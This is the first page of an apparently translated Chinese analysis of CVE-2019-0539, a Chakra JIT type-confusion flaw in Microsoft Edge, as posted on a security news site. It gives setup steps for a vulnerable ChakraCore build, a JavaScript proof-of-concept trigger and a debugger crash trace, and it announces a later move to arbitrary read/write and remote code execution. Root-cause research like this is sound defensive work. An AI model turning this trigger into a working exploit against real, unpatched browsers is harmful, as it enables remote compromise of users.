欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Microsoft Edge CVE-2019-0539 漏洞

来源:本站整理 作者:佚名 时间:2019-03-19 TAG: 我要投稿

本文对Microsoft Edge的CVE-2019-0539漏洞进行了详细的分析,并利用漏洞实现完全的读写控制,最终实现RCE。
 
 
简介
微软在2019年1月的 Microsoft Edge Chakra Engine 更新中修复了CVE-2019-0539漏洞。该漏洞和其他两个漏洞由Google Project Zero的Lokihardt 发现并报告。该漏洞可以通过访问恶意网页导致远程代码执行。正如Lokihardt所述,当Chakra JIT javascript编译器生成的代码不经意间发生了对象类型转换,并且错误地认为这种转换后续对该对象没有影响,这时就会发生类型混淆漏洞。Chakra开发团队的Abhijith Chatra在其博客中讲到,动态类型对象包含一个property map和一个slot array。property map用来掌握一个对象属性在slot array中的索引,而slot array则存储属性的真实数据。CVE-2019-0539会引发JIT代码的内存对象混淆,从而导致slot array指针被任意数据覆写。
 
漏洞根源分析
设置
设置好windows的ChakraCore漏洞版本:
https://github.com/Microsoft/ChakraCore/wiki/Building-ChakraCore
(在Visual Studio MSBuild命令提示符中)
c:code>git clone https://github.com/Microsoft/ChakraCore.git
c:code>cd ChakraCore
c:codeChakraCore>git checkout 331aa3931ab69ca2bd64f7e020165e693b8030b5
c:codeChakraCore>msbuild /m /p:Platform=x64 /p:Configuration=Debug BuildChakra.Core.sln
Time Travel Debugging
本篇文章将使用TTD (Time Travel Debugging),微软官方文档介绍如下:
Time Travel Debugging是一款调试器工具,允许你记录正在运行进程的执行轨迹,然后向前、向后进行重放。 Time Travel Debugging (TTD) 可以让你“回放”调试器会话,而不必重新启动触发错误,从而帮助你更轻松的调试解决各种问题。
从Microsoft Store下载安装最新版的Windbg。
运行时记得要以管理员身份运行。

根源分析
Poc:
function opt(o, c, value) {
    o.b = 1;
    class A extends c { // may transition the object
    }
    o.a = value; // overwrite slot array pointer
}
function main() {
    for (let i = 0; i 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, (function () {}), {});
    }
    let o = {a: 1, b: 2};
    let cons = function () {};
    cons.prototype = o; // causes "class A extends c" to transition the object type
    opt(o, cons, 0x1234);
    print(o.a); // access the slot array pointer resulting in a crash
}
main();
利用TTD启动调试分析,直到其发生Crash然后执行如下命令:
0:005> !tt 0
Setting position to the beginning of the trace
Setting position: 14:0
(1e8c.4bc8): Break instruction exception - code 80000003 (first/second chance not available)
Time Travel Position: 14:0
ntdll!LdrInitializeThunk:
00007fff`03625640 4053            push    rbx
0:000> g
ModLoad: 00007fff`007e0000 00007fff`0087e000   C:WindowsSystem32sechost.dll
ModLoad: 00007fff`00f40000 00007fff`00fe3000   C:WindowsSystem32advapi32.dll
ModLoad: 00007ffe`ffde0000 00007ffe`ffe00000   C:WindowsSystem32win32u.dll
ModLoad: 00007fff`00930000 00007fff`00ac7000   C:WindowsSystem32USER32.dll
ModLoad: 00007ffe`ff940000 00007ffe`ffada000   C:WindowsSystem32gdi32full.dll
ModLoad: 00007fff`02e10000 00007fff`02e39000   C:WindowsSystem32GDI32.dll
ModLoad: 00007fff`03420000 00007fff`03575000   C:WindowsSystem32ole32.dll
ModLoad: 00007ffe`ffdb0000 00007ffe`ffdd6000   C:WindowsSystem32bcrypt.dll
ModLoad: 00007ffe`e7c20000 00007ffe`e7e0d000   C:WindowsSYSTEM32dbghelp.dll
ModLoad: 00007ffe`e7bf0000 00007ffe`e7c1a000   C:WindowsSYSTEM32dbgcore.DLL
ModLoad: 00007ffe`9bf10000 00007ffe`9dd05000   c:ppChakraCoreBuildVcBuildbinx64_debugchakracore.dll
ModLoad: 00007fff`011c0000 00007fff`011ee000   C:WindowsSystem32IMM32.DLL
ModLoad: 00007ffe`ff5b0000 00007ffe`ff5c1000   C:WindowsSystem32kernel.appcore.dll
ModLoad: 00007ffe`f0f80000 00007ffe`f0fdc000   C:WindowsSYSTEM32Bcp47Langs.dll
ModLoad: 00007ffe`f0f50000 00007ffe`f0f7a000   C:WindowsSYSTEM32bcp47mrm.dll
ModLoad: 00007ffe`f0fe0000 00007ffe`f115b000   C:WindowsSYSTEM32windows.globalization.dll
ModLoad: 00007ffe`ff010000 00007ffe`ff01c000   C:WindowsSYSTEM32CRYPTBASE.DLL
(1e8c.20b8): Access violation - code c0000005 (first/second chance not available)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
Time Travel Position: 90063:0
chakracore!Js::DynamicTypeHandler::GetSlot+0x149:
00007ffe`9cd1ec79 488b04c1        mov     rax,qword ptr [rcx+rax*8] ds:00010000`00001234=????????????????

[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载